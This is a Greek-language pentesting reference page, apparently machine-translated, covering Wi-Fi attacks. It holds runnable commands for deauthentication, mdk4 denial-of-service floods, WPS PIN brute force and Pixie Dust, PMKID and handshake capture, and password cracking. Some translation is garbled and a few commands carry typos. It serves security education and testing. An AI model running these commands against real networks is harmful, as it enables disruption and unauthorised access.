Pentesting Wifi

Reading time: 38 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές εντολές Wifi

bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis

Εργαλεία

EAPHammer

git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup

Airgeddon

bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe

Τρέξτε το airgeddon με docker

bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon

wifiphisher

Μπορεί να εκτελέσει επιθέσεις Evil Twin, KARMA και Known Beacons και στη συνέχεια να χρησιμοποιήσει ένα πρότυπο phishing για να καταφέρει να αποκτήσει τον πραγματικό κωδικό πρόσβασης του δικτύου ή να συλλάβει διαπιστευτήρια κοινωνικών δικτύων.

bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies

Wifite2

Αυτό το εργαλείο αυτοματοποιεί τις επιθέσεις WPS/WEP/WPA-PSK. Θα εκτελέσει αυτόματα:

  • Ρύθμιση της διεπαφής σε λειτουργία παρακολούθησης
  • Σάρωση για πιθανά δίκτυα - Και σας επιτρέπει να επιλέξετε το θύμα(τα)
  • Αν είναι WEP - Εκκίνηση επιθέσεων WEP
  • Αν είναι WPA-PSK
  • Αν είναι WPS: Επίθεση Pixie dust και η επίθεση brute-force (προσοχή, η επίθεση brute-force μπορεί να διαρκέσει πολύ). Σημειώστε ότι δεν προσπαθεί με null PIN ή PIN που έχουν δημιουργηθεί από βάση δεδομένων.
  • Προσπάθεια σύλληψης του PMKID από το AP για να το σπάσει
  • Προσπάθεια αποσύνδεσης πελατών του AP για να συλληφθεί ένα handshake
  • Αν PMKID ή Handshake, προσπαθήστε να κάνετε brute-force χρησιμοποιώντας τους 5000 κορυφαίους κωδικούς πρόσβασης.

Attacks Summary

  • DoS
  • Αποσύνδεση/αποσύνδεση -- Αποσυνδέστε όλους (ή μια συγκεκριμένη ESSID/Client)
  • Τυχαία ψεύτικα APs -- Κρύψτε δίκτυα, πιθανή κατάρρευση σαρωτών
  • Υπερφόρτωση AP -- Προσπαθήστε να σκοτώσετε το AP (συνήθως δεν είναι πολύ χρήσιμο)
  • WIDS -- Παίξτε με το IDS
  • TKIP, EAPOL -- Ορισμένες συγκεκριμένες επιθέσεις για DoS σε ορισμένα APs
  • Cracking
  • Σπάσιμο WEP (πολλά εργαλεία και μέθοδοι)
  • WPA-PSK
  • WPS pin "Brute-Force"
  • WPA PMKID brute-force
  • [DoS +] WPA handshake σύλληψη + Σπάσιμο
  • WPA-MGT
  • Σύλληψη ονόματος χρήστη
  • Bruteforce Διαπιστευτήρια
  • Evil Twin (με ή χωρίς DoS)
  • Ανοιχτό Evil Twin [+ DoS] -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
  • WPA-PSK Evil Twin -- Χρήσιμο για επιθέσεις δικτύου αν γνωρίζετε τον κωδικό πρόσβασης
  • WPA-MGT -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων εταιρείας
  • KARMA, MANA, Loud MANA, Γνωστό beacon
  • + Ανοιχτό -- Χρήσιμο για τη σύλληψη διαπιστευτηρίων captive portal και/ή την εκτέλεση επιθέσεων LAN
  • + WPA -- Χρήσιμο για τη σύλληψη WPA handshakes

DOS

Deauthentication Packets

Περιγραφή από εδώ:.

Οι επιθέσεις Deauthentication, μια διαδεδομένη μέθοδος στο Wi-Fi hacking, περιλαμβάνουν τη δημιουργία "management" frames για να αποσυνδέσουν βίαια τις συσκευές από ένα δίκτυο. Αυτά τα μη κρυπτογραφημένα πακέτα παραπλανούν τους πελάτες να πιστεύουν ότι προέρχονται από το νόμιμο δίκτυο, επιτρέποντας στους επιτιθέμενους να συλλέγουν WPA handshakes για σκοπούς σπασίματος ή να διαταράσσουν μόνιμα τις συνδέσεις δικτύου. Αυτή η τακτική, ανησυχητική στην απλότητά της, χρησιμοποιείται ευρέως και έχει σημαντικές επιπτώσεις για την ασφάλεια του δικτύου.

Deauthentication χρησιμοποιώντας Aireplay-ng

aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
  • -0 σημαίνει αποσύνδεση
  • 1 είναι ο αριθμός των αποσυνδέσεων που θα σταλούν (μπορείτε να στείλετε πολλές αν το επιθυμείτε); 0 σημαίνει ότι θα αποστέλλονται συνεχώς
  • -a 00:14:6C:7E:40:80 είναι η διεύθυνση MAC του σημείου πρόσβασης
  • -c 00:0F:B5:34:30:30 είναι η διεύθυνση MAC του πελάτη που θα αποσυνδεθεί; αν αυτό παραλειφθεί, τότε αποστέλλεται αποσύνδεση εκπομπής (δεν λειτουργεί πάντα)
  • ath0 είναι το όνομα της διεπαφής

Πακέτα Αποσύνδεσης

Τα πακέτα αποσύνδεσης, παρόμοια με τα πακέτα αποσύνδεσης, είναι ένας τύπος διαχειριστικού πλαισίου που χρησιμοποιείται σε δίκτυα Wi-Fi. Αυτά τα πακέτα εξυπηρετούν την αποκοπή της σύνδεσης μεταξύ μιας συσκευής (όπως ένα φορητό υπολογιστή ή smartphone) και ενός σημείου πρόσβασης (AP). Η κύρια διάκριση μεταξύ αποσύνδεσης και αποσύνδεσης έγκειται στα σενάρια χρήσης τους. Ενώ ένα AP εκπέμπει πακέτα αποσύνδεσης για να αφαιρέσει ρητά τις κακόβουλες συσκευές από το δίκτυο, τα πακέτα αποσύνδεσης αποστέλλονται συνήθως όταν το AP βρίσκεται σε διαδικασία απενεργοποίησης, επανεκκίνησης ή μεταφοράς, απαιτώντας έτσι την αποσύνδεση όλων των συνδεδεμένων κόμβων.

Αυτή η επίθεση μπορεί να εκτελεστεί με mdk4(mode "d"):

bash
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F

Περισσότερες επιθέσεις DOS από το mdk4

Στο εδώ.

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ b: Πλημμύρα Beacon

Στέλνει πλαίσια beacon για να δείξει ψεύτικα APs στους πελάτες. Αυτό μπορεί μερικές φορές να προκαλέσει κρασάρισμα στους σαρωτές δικτύου και ακόμη και στους οδηγούς!

bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m

ΕΠΙΘΕΤΙΚΟΣ ΤΡΟΠΟΣ α: Άρνηση Υπηρεσίας Αυθεντικοποίησης

Η αποστολή πλαισίων αυθεντικοποίησης σε όλα τα προσβάσιμα Σημεία Πρόσβασης (APs) εντός εμβέλειας μπορεί να υπερφορτώσει αυτά τα APs, ειδικά όταν εμπλέκονται πολλοί πελάτες. Αυτή η έντονη κίνηση μπορεί να οδηγήσει σε αστάθεια του συστήματος, προκαλώντας σε ορισμένα APs να κολλήσουν ή ακόμη και να επαναρυθμιστούν.

bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ p: Εξερεύνηση SSID και Βίαιη Διείσδυση

Η εξερεύνηση Σημείων Πρόσβασης (APs) ελέγχει αν ένα SSID αποκαλύπτεται σωστά και επιβεβαιώνει την εμβέλεια του AP. Αυτή η τεχνική, σε συνδυασμό με βίαιη διείσδυση κρυφών SSIDs με ή χωρίς λίστα λέξεων, βοηθά στην αναγνώριση και πρόσβαση σε κρυμμένα δίκτυα.

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ m: Εκμετάλλευση Αντεμετώπισης Michael

Η αποστολή τυχαίων ή διπλών πακέτων σε διαφορετικές ουρές QoS μπορεί να ενεργοποιήσει τις Αντεμετώπισης Michael σε TKIP APs, οδηγώντας σε απενεργοποίηση του AP για ένα λεπτό. Αυτή η μέθοδος είναι μια αποτελεσματική τακτική επίθεσης DoS (Άρνηση Υπηρεσίας).

bash
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]

ATTACK MODE e: EAPOL Start and Logoff Packet Injection

Η πλημμύρα ενός AP με EAPOL Start frames δημιουργεί ψεύτικες συνεδρίες, κατακλύζοντας το AP και αποκλείοντας τους νόμιμους πελάτες. Εναλλακτικά, η εισαγωγή ψεύτικων EAPOL Logoff messages αποσυνδέει βίαια τους πελάτες, και οι δύο μέθοδοι διαταράσσουν αποτελεσματικά την υπηρεσία δικτύου.

bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ s: Επιθέσεις για δίκτυα πλέγματος IEEE 802.11s

Διάφορες επιθέσεις στη διαχείριση συνδέσεων και δρομολόγησης σε δίκτυα πλέγματος.

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ w: Σύγχυση WIDS

Η διασύνδεση πελατών σε πολλαπλά WDS nodes ή ψεύτικα rogue APs μπορεί να χειραγωγήσει τα Συστήματα Ανίχνευσης και Πρόληψης Εισβολών, δημιουργώντας σύγχυση και πιθανή κακή χρήση του συστήματος.

bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]

ΜΟΝΤΕΛΟ ΕΠΙΘΕΣΗΣ f: Packet Fuzzer

Ένας packet fuzzer με ποικιλία πηγών πακέτων και ένα ολοκληρωμένο σύνολο τροποποιητών για την επεξεργασία πακέτων.

Airggedon

Airgeddon προσφέρει τις περισσότερες από τις επιθέσεις που προτάθηκαν στα προηγούμενα σχόλια:

WPS

Το WPS (Wi-Fi Protected Setup) απλοποιεί τη διαδικασία σύνδεσης συσκευών σε ένα δρομολογητή, βελτιώνοντας την ταχύτητα και την ευκολία εγκατάστασης για δίκτυα κρυπτογραφημένα με WPA ή WPA2 Personal. Είναι αναποτελεσματικό για την εύκολα παραβιάσιμη ασφάλεια WEP. Το WPS χρησιμοποιεί έναν 8-ψήφιο PIN, που επικυρώνεται σε δύο μισά, καθιστώντας το ευάλωτο σε επιθέσεις brute-force λόγω του περιορισμένου αριθμού συνδυασμών (11,000 δυνατότητες).

WPS Bruteforce

Υπάρχουν 2 κύρια εργαλεία για την εκτέλεση αυτής της ενέργειας: Reaver και Bully.

  • Reaver έχει σχεδιαστεί για να είναι μια ισχυρή και πρακτική επίθεση κατά του WPS, και έχει δοκιμαστεί σε μια ευρεία ποικιλία σημείων πρόσβασης και υλοποιήσεων WPS.
  • Bully είναι μια νέα υλοποίηση της επίθεσης brute force WPS, γραμμένη σε C. Έχει αρκετά πλεονεκτήματα σε σχέση με τον αρχικό κώδικα reaver: λιγότερες εξαρτήσεις, βελτιωμένη μνήμη και απόδοση CPU, σωστή διαχείριση του endianness, και ένα πιο ισχυρό σύνολο επιλογών.

Η επίθεση εκμεταλλεύεται την ευπάθεια του WPS PIN, ιδιαίτερα την έκθεση των πρώτων τεσσάρων ψηφίων και τον ρόλο του τελευταίου ψηφίου ως checksum, διευκολύνοντας την επίθεση brute-force. Ωστόσο, οι αμυντικές στρατηγικές κατά των επιθέσεων brute-force, όπως ο φραγμός διευθύνσεων MAC επιθετικών επιτιθεμένων, απαιτούν περιστροφή διευθύνσεων MAC για να συνεχιστεί η επίθεση.

Αφού αποκτήσει το WPS PIN με εργαλεία όπως το Bully ή το Reaver, ο επιτιθέμενος μπορεί να deduce το WPA/WPA2 PSK, εξασφαλίζοντας μόνιμη πρόσβαση στο δίκτυο.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3

Έξυπνη Βίαιη Δύναμη

Αυτή η εκλεπτυσμένη προσέγγιση στοχεύει σε WPS PINs χρησιμοποιώντας γνωστές ευπάθειες:

  1. Προκατασκευασμένα PINs: Χρησιμοποιήστε μια βάση δεδομένων γνωστών PINs που σχετίζονται με συγκεκριμένους κατασκευαστές που είναι γνωστό ότι χρησιμοποιούν ομοιόμορφα WPS PINs. Αυτή η βάση δεδομένων συσχετίζει τα πρώτα τρία οκτάδες των MAC διευθύνσεων με πιθανές PINs για αυτούς τους κατασκευαστές.
  2. Αλγόριθμοι Γεννήτριας PIN: Εκμεταλλευτείτε αλγόριθμους όπως ComputePIN και EasyBox, οι οποίοι υπολογίζουν WPS PINs με βάση τη MAC διεύθυνση του AP. Ο αλγόριθμος Arcadyan απαιτεί επιπλέον μια ταυτότητα συσκευής, προσθέτοντας μια επιπλέον διάσταση στη διαδικασία δημιουργίας PIN.

Επίθεση WPS Pixie Dust

Dominique Bongard ανακάλυψε ένα σφάλμα σε ορισμένα Access Points (APs) σχετικά με τη δημιουργία μυστικών κωδικών, γνωστών ως nonces (E-S1 και E-S2). Εάν αυτά τα nonces μπορέσουν να ανακαλυφθούν, η παραβίαση του WPS PIN του AP γίνεται εύκολη. Το AP αποκαλύπτει το PIN μέσα σε έναν ειδικό κωδικό (hash) για να αποδείξει ότι είναι νόμιμο και όχι ψεύτικο (rogue) AP. Αυτά τα nonces είναι ουσιαστικά τα "κλειδιά" για να ξεκλειδώσουν το "χρηματοκιβώτιο" που κρατά το WPS PIN. Περισσότερα σχετικά με αυτό μπορείτε να βρείτε εδώ.

Με απλά λόγια, το πρόβλημα είναι ότι ορισμένα APs δεν χρησιμοποίησαν αρκετά τυχαία κλειδιά για την κρυπτογράφηση του PIN κατά τη διάρκεια της διαδικασίας σύνδεσης. Αυτό καθιστά το PIN ευάλωτο σε μαντεψιά από έξω από το δίκτυο (offline brute force attack).

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3

Αν δεν θέλετε να αλλάξετε τη συσκευή σε λειτουργία παρακολούθησης, ή αν το reaver και το bully έχουν κάποιο πρόβλημα, μπορείτε να δοκιμάσετε OneShot-C. Αυτό το εργαλείο μπορεί να εκτελέσει την επίθεση Pixie Dust χωρίς να χρειάζεται να αλλάξετε σε λειτουργία παρακολούθησης.

bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37

Null Pin attack

Ορισμένα κακώς σχεδιασμένα συστήματα επιτρέπουν ακόμη και έναν Null PIN (ένα κενό ή ανύπαρκτο PIN) να παρέχει πρόσβαση, κάτι που είναι αρκετά ασυνήθιστο. Το εργαλείο Reaver είναι ικανό να ελέγξει αυτή την ευπάθεια, σε αντίθεση με το Bully.

bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''

Airgeddon

Όλες οι προτεινόμενες επιθέσεις WPS μπορούν να εκτελούνται εύκολα χρησιμοποιώντας airgeddon.

  • 5 και 6 σας επιτρέπουν να δοκιμάσετε το δικό σας PIN (αν έχετε)
  • 7 και 8 εκτελούν την επίθεση Pixie Dust
  • 13 σας επιτρέπει να δοκιμάσετε το NULL PIN
  • 11 και 12 θα ανακτήσουν τα PIN που σχετίζονται με το επιλεγμένο AP από διαθέσιμες βάσεις δεδομένων και θα δημιουργήσουν πιθανά PIN χρησιμοποιώντας: ComputePIN, EasyBox και προαιρετικά Arcadyan (συνιστάται, γιατί όχι;)
  • 9 και 10 θα δοκιμάσουν κάθε πιθανό PIN

WEP

Τόσο σπασμένο και ανενεργό σήμερα. Απλά να ξέρετε ότι το airgeddon έχει μια επιλογή WEP που ονομάζεται "All-in-One" για να επιτεθεί σε αυτό το είδος προστασίας. Πολλά εργαλεία προσφέρουν παρόμοιες επιλογές.



WPA/WPA2 PSK

PMKID

Το 2018, hashcat αποκάλυψε μια νέα μέθοδο επίθεσης, μοναδική επειδή χρειάζεται μόνο ένα μόνο πακέτο και δεν απαιτεί κανέναν πελάτη να είναι συνδεδεμένος στο στοχευμένο AP—μόνο αλληλεπίδραση μεταξύ του επιτιθέμενου και του AP.

Πολλοί σύγχρονοι δρομολογητές προσθέτουν ένα προαιρετικό πεδίο στο πρώτο EAPOL πλαίσιο κατά τη διάρκεια της συσχέτισης, γνωστό ως Robust Security Network. Αυτό περιλαμβάνει το PMKID.

Όπως εξηγεί η αρχική ανάρτηση, το PMKID δημιουργείται χρησιμοποιώντας γνωστά δεδομένα:

bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)

Δεδομένου ότι το "PMK Name" είναι σταθερό, γνωρίζουμε το BSSID του AP και του σταθμού, και το PMK είναι ταυτόσημο με αυτό από μια πλήρη 4-way handshake, hashcat μπορεί να χρησιμοποιήσει αυτές τις πληροφορίες για να σπάσει το PSK και να ανακτήσει τη φράση πρόσβασης!

Για να συγκεντρώσετε αυτές τις πληροφορίες και να bruteforce τοπικά τον κωδικό πρόσβασης μπορείτε να κάνετε:

bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1

Τα PMKIDs που καταγράφηκαν θα εμφανιστούν στην κονσόλα και επίσης θα αποθηκευτούν μέσα στο _ /tmp/attack.pcap_
Τώρα, μετατρέψτε την καταγραφή σε hashcat/john μορφή και σπάστε την:

bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Παρακαλώ σημειώστε ότι η μορφή ενός σωστού hash περιέχει 4 μέρη, όπως: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838 Αν το δικό σας περιέχει μόνο 3 μέρη, τότε είναι μη έγκυρο (η καταγραφή PMKID δεν ήταν έγκυρη).

Σημειώστε ότι το hcxdumptool καταγράφει επίσης handshakes (κάτι τέτοιο θα εμφανιστεί: MP:M1M2 RC:63258 EAPOLTIME:17091). Μπορείτε να μετατρέψετε τα handshakes σε μορφή hashcat/john χρησιμοποιώντας το cap2hccapx

bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes

Έχω παρατηρήσει ότι μερικοί από τους χειραγωγούς που καταγράφηκαν με αυτό το εργαλείο δεν μπορούσαν να σπάσουν ακόμη και γνωρίζοντας τον σωστό κωδικό. Θα συνιστούσα να καταγράφετε τους χειραγωγούς και με παραδοσιακό τρόπο αν είναι δυνατόν, ή να καταγράφετε αρκετούς από αυτούς χρησιμοποιώντας αυτό το εργαλείο.

Καταγραφή χειραγωγών

Μια επίθεση σε δίκτυα WPA/WPA2 μπορεί να εκτελεστεί καταγράφοντας έναν χειραγωγό και προσπαθώντας να σπάσει τον κωδικό εκτός σύνδεσης. Αυτή η διαδικασία περιλαμβάνει την παρακολούθηση της επικοινωνίας ενός συγκεκριμένου δικτύου και BSSID σε ένα συγκεκριμένο κανάλι. Ακολουθεί ένας απλός οδηγός:

  1. Εντοπίστε το BSSID, το κανάλι και έναν συνδεδεμένο πελάτη του στοχευόμενου δικτύου.
  2. Χρησιμοποιήστε airodump-ng για να παρακολουθήσετε την κυκλοφορία του δικτύου στο καθορισμένο κανάλι και BSSID, ελπίζοντας να καταγράψετε έναν χειραγωγό. Η εντολή θα έχει ως εξής:
bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
  1. Για να αυξήσετε την πιθανότητα σύλληψης ενός handshake, αποσυνδέστε προσωρινά τον πελάτη από το δίκτυο για να αναγκάσετε μια επανα-authentication. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή aireplay-ng, η οποία στέλνει πακέτα αποσύνδεσης στον πελάτη:
bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios

Σημειώστε ότι καθώς ο πελάτης αποεξουσιοδοτήθηκε, θα μπορούσε να προσπαθήσει να συνδεθεί σε διαφορετικό AP ή, σε άλλες περιπτώσεις, σε διαφορετικό δίκτυο.

Μόλις στο airodump-ng εμφανιστούν κάποιες πληροφορίες χειραψίας, αυτό σημαίνει ότι η χειραψία έχει καταγραφεί και μπορείτε να σταματήσετε να ακούτε:

Μόλις η χειραψία καταγραφεί, μπορείτε να σπάσετε αυτήν με το aircrack-ng:

aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap

Έλεγχος αν υπάρχει handshake στο αρχείο

aircrack

bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture

tshark

bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.

cowpatty

cowpatty -r psk-01.cap -s "ESSID" -f -

Εάν αυτό το εργαλείο βρει μια ατελή χειραψία ενός ESSID πριν από την ολοκληρωμένη, δεν θα ανιχνεύσει την έγκυρη.

pyrit

bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze

WPA Enterprise (MGT)

Σε ρυθμίσεις WiFi επιχείρησης, θα συναντήσετε διάφορες μεθόδους αυθεντικοποίησης, καθεμία από τις οποίες παρέχει διαφορετικά επίπεδα ασφάλειας και δυνατότητες διαχείρισης. Όταν χρησιμοποιείτε εργαλεία όπως το airodump-ng για να ελέγξετε την κίνηση του δικτύου, μπορεί να παρατηρήσετε αναγνωριστικά για αυτούς τους τύπους αυθεντικοποίησης. Ορισμένες κοινές μέθοδοι περιλαμβάνουν:

6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
  1. EAP-GTC (Generic Token Card):
  • Αυτή η μέθοδος υποστηρίζει υλικό tokens και κωδικούς μίας χρήσης εντός του EAP-PEAP. Σε αντίθεση με το MSCHAPv2, δεν χρησιμοποιεί πρόκληση από ομότιμο και στέλνει τους κωδικούς σε απλό κείμενο στο σημείο πρόσβασης, θέτοντας σε κίνδυνο επιθέσεις υποβάθμισης.
  1. EAP-MD5 (Message Digest 5):
  • Περιλαμβάνει την αποστολή του MD5 hash του κωδικού από τον πελάτη. Δεν συνιστάται λόγω ευπάθειας σε επιθέσεις λεξικού, έλλειψης αυθεντικοποίησης διακομιστή και αδυναμίας δημιουργίας κλειδιών WEP συγκεκριμένων για τη συνεδρία.
  1. EAP-TLS (Transport Layer Security):
  • Χρησιμοποιεί τόσο πιστοποιητικά πελάτη όσο και διακομιστή για αυθεντικοποίηση και μπορεί να δημιουργήσει δυναμικά κλειδιά WEP βασισμένα σε χρήστη και συνεδρία για την ασφάλιση των επικοινωνιών.
  1. EAP-TTLS (Tunneled Transport Layer Security):
  • Παρέχει αμοιβαία αυθεντικοποίηση μέσω ενός κρυπτογραφημένου τούνελ, μαζί με μια μέθοδο για την παραγωγή δυναμικών, ανά χρήστη, ανά συνεδρία κλειδιών WEP. Απαιτεί μόνο πιστοποιητικά διακομιστή, με τους πελάτες να χρησιμοποιούν διαπιστευτήρια.
  1. PEAP (Protected Extensible Authentication Protocol):
  • Λειτουργεί παρόμοια με το EAP δημιουργώντας ένα τούνελ TLS για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων πρωτοκόλλων αυθεντικοποίησης πάνω από το EAP λόγω της προστασίας που προσφέρει το τούνελ.
  • PEAP-MSCHAPv2: Συχνά αναφέρεται ως PEAP, συνδυάζει τον ευάλωτο μηχανισμό πρόκλησης/απάντησης MSCHAPv2 με ένα προστατευτικό τούνελ TLS.
  • PEAP-EAP-TLS (ή PEAP-TLS): Παρόμοιο με το EAP-TLS αλλά ξεκινά ένα τούνελ TLS πριν από την ανταλλαγή πιστοποιητικών, προσφέροντας ένα επιπλέον επίπεδο ασφάλειας.

Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις μεθόδους αυθεντικοποίησης εδώ και εδώ.

Συλλογή Ονομάτων Χρήστη

Διαβάζοντας https://tools.ietf.org/html/rfc3748#page-27 φαίνεται ότι αν χρησιμοποιείτε EAP τα "Identity" μηνύματα πρέπει να είναι υποστηριζόμενα, και το όνομα χρήστη θα σταλεί σε καθαρό στα "Response Identity" μηνύματα.

Ακόμα και χρησιμοποιώντας μία από τις πιο ασφαλείς μεθόδους αυθεντικοποίησης: PEAP-EAP-TLS, είναι δυνατό να συλλεχθεί το όνομα χρήστη που αποστέλλεται στο πρωτόκολλο EAP. Για να το κάνετε αυτό, συλλέξτε μια επικοινωνία αυθεντικοποίησης (ξεκινήστε το airodump-ng μέσα σε ένα κανάλι και το wireshark στην ίδια διεπαφή) και φιλτράρετε τα πακέτα με eapol.
Μέσα στο πακέτο "Response, Identity", το όνομα χρήστη του πελάτη θα εμφανιστεί.

Ανώνυμες Ταυτότητες

Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις βασικές πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:

  • EAP-Identity = ανώνυμος
  • Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμος" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS.
  • EAP-Identity = ανώνυμος@realm_x
  • Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστής PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
  • Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί την προστατευμένη μέθοδο αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.

Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθιερωθεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11.

